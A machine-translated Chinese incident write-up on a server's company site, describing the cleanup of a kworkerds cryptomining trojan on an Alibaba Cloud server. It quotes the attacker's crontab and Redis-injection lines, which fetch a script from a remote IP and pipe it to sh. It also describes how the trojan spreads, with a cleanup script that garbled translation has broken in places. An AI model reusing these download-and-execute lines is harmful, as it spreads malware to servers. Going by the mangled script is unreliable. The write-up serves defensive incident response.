请记住,阿里巴巴云植入采矿木马

发布者:上海IT外包来源:http://www.lanmon.net点击数:1707

一,事业
今天,我的同事说我负责的模块不适用于阿里云。我赶紧远程登录。
1.服务器的症状
按下该命令后,终端的字符快速返回,但命令响应时间较长;
服务器内存为32GB,剩余200MB;
CPU达到99%;
我负责的模块工作正常,稳定性好,配置没有修改,但现在不能正常工作;
检查我负责的模块是否配置正确且工作正常,但有些服务有问题。
top命令没有找到CPU密集型进程,但是有大量的kworkerds进程。
2.定位分析
症状1,3和6表示阿里云服务器已生成异常。
根据症状4,5逐步梳理过程,检查日志,找到问题,最后发现redis可以正常提供服务,但程序无法刷新数据到redis,导致两个模块负责读取并且写入不能长时间同步,重启后redis,服务正常。但问题需要进一步分析。
挖马
第二,找到木马
服务器与其他服务共享,其他服务,我们不知道它是否有用。但是服务器卡住了,它确实影响了调试效率。在搜索了kworkerds后,我知道它是一个采矿木马。
查看特洛伊木马进程的数量
[root @ xxx~] #ps -ef | grep -v grep | grep kworkerds | wc -l
385
杀死所有特洛伊木马程序
[root @ xxx~] #ps auxf | grep -v grep | grep kworkerds | awk'{print $ 2}'| xargs kill -9
查看启动项和任务
[root @XXX] #systemctl list-unit-files
(如果您没有发现问题,请不要插入)
[root @XXX] #cat /etc/rc.local
(如果您没有发现问题,请不要插入)
[root @XXX] #cat/etc/crontab
.
01 * * * * root run-parts /etc/cron.hourly02 4 * * * root run-parts /etc/cron.daily
0 1 * * * root/usr/local/bin/dns
[root @XXX] #crontab -l
*/23 * * * *(curl -fsSLhttp://185.10.68.91/1/1||wget -q -O-http://185.10.68.91/1/1)| sh
“/etc/crontab”的内容似乎正常,但“crontab -l”中显示的内容有些不清楚。
然后下载代码进行查看
[root @ xxx~]#(curl -fsSLhttp://185.10.68.91/1/1||wget -q -O-http://185.10.68.91/1/1)
(我不发布特洛伊木马的代码)
由于篇幅限制,此处不显示木马代码,您可以自行下载和查看,请记得在下载时删除“| sh”,谨防自焚。
三,木马分析
特洛伊木马脚本仍然很好,风格整洁,逻辑严谨。完美地完成了以下功能:
删除Ali Cloud Shield客户端和阿里云监控器;
停止并删除主机上已存在的其他挖掘过程;
下载挖掘程序和配置文件并执行它;
限制木马程序以防止触发服务器性能监视工具警报;
设置任务计划,保持更新,并继续感染主机;
通过本机感染其他主机;
清除操作日志,篡改文件修改时间,并隐藏自己的访问跟踪。
shell和python脚本都在特洛伊木马中使用。脚本是逐层嵌套的。对于某些敏感代码,base64用于加密。不同的系统处理方式不同,修改后的文件被锁定以防止被阻止。其他程序可以自由修改,远程服务的IP地址来自东非的塞舌尔共和国。
特洛伊木马是如何传播的?
传播方式
传播特洛伊木马有三种方法,如下:
ActiveMQ的
Redis的
Ssh无密码登录
2.沟通的想法
特洛伊木马感染的步骤如下:
通过扫描'xxx.xxx.0.0/16'网段中所有IP的6379和8186端口;
如果可以连接,则以键值的形式写入数据;
'set SwE3SC'\\ t \\ n */10 * * * * root(curl -fsSLhttp://185.10.68.91/raw/68VYMp5T||wget -q -O-http://185.10.68.91/raw/68VYMp5T)| sh \ \ n \\ T '\ r \ N'将数据作为文件保存到计划任务的文件目录中,例如/var/spool/cron/root;
当下一个定时周期到来时,服务器自动下载远程脚本并执行它;
将主机遍历到可以无密码,远程连接和执行代码的其他主机。
执行远程脚本时,将重新编辑计划任务等文件,以确保主机可以继续受感染,并且还会隐藏第一个感染的跟踪。在每个定时循环到来之后,重复步骤4和5。
3.解决漏洞问题
服务器中没有activeMQ,也没有.ssh文件夹。小编也根据代码过程感染了自己的redis,但没有达到预期的效果。
当我使用redis文件保存它时,它是二进制文件,而不是字符串,并且不能由计划任务执行。但是,修改受感染的脚本可以完成既定的黑客攻击。
结合Aliyun以前的密码修改,有两种可能的感染源:
我以前被发现感染了,但特洛伊木马没有被清理干净;
特洛伊木马作者定期修改其代码以感染不同版本的redis,甚至利用其他软件漏洞。
代码更改的另一个证据是netstat命令的二进制文件已被篡改。这显然是为了处理操作和维护人员的异常网络连接而设计的。但是,在检查特洛伊木马代码时,找不到与netstat命令相关的操作。
第五,清理木马
清理过程分为两步:删除特洛伊木马文件并修补当前漏洞。
1.删除特洛伊木马文件
根据特洛伊木马代码,我写了一个清理脚本如下:
#!/斌/庆典
Ps auxf | grep -v grep | grep kworkerds | awk'{print $ 2}'| xargs kill -9
Chattr -i/usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache/var/spool/cron/root/var/spool/cron/crontabs/root/etc/ld。 So.preload
回声''>
在/usr/local/bin目录/DNS
回声''>
/etc/cron.d/root
回声''>
/etc/cron.d/apache
回声''>
的/var /线轴/cron的/根
回声''>
的/var /线轴/cron的/crontabs中/根Rm -rf /etc/cron.hourly/oanacroner
Rm -rf /etc/cron.daily/oanacroner
Rm -rf /etc/cron.monthly/oanacroner
Sed -i'/cron.hourly/d'/etc/crontab
Sed -i'/cron.daily/d'/etc/crontab
Sed -i'/usr \/local \/bin \/dns/d'/etc/crontab
#sed -i'$ d'/etc/ld.so.preload
Rm -rf /usr/local/lib/libntpd.so
#/tmp/.a无法删除,木马是使用此文件来判断是否卸载阿里云盾
#rm -rf /tmp/.a
Rm -rf/bin/kworkerds
Rm -rf/tmp/kworkerds
Rm -rf/usr/sbin/kworkerds
Rm -rf /etc/init.d/kworker
Chkconfig --del kworker
该脚本仅供您参考,您应该在执行之前检查特定环境。
此外,还需要检查系统中是否存在异常用户,异常服务和异常侦听端口。毕竟,服务器已被入侵,不能掉以轻心。
2.修补漏洞
以redis为例。修复漏洞的方法有很多种:
限制端口,使其不能连接到外部;
不要用root运行reid;
及时更新软件以修复漏洞;
修改默认端口;
重命名重要命令;
IT外包
>
400-635-8089
立即
咨询
电话咨询
服务热线
400-635-8089
微信咨询
微信咨询
微信咨询
公众号
公众号
公众号
返回顶部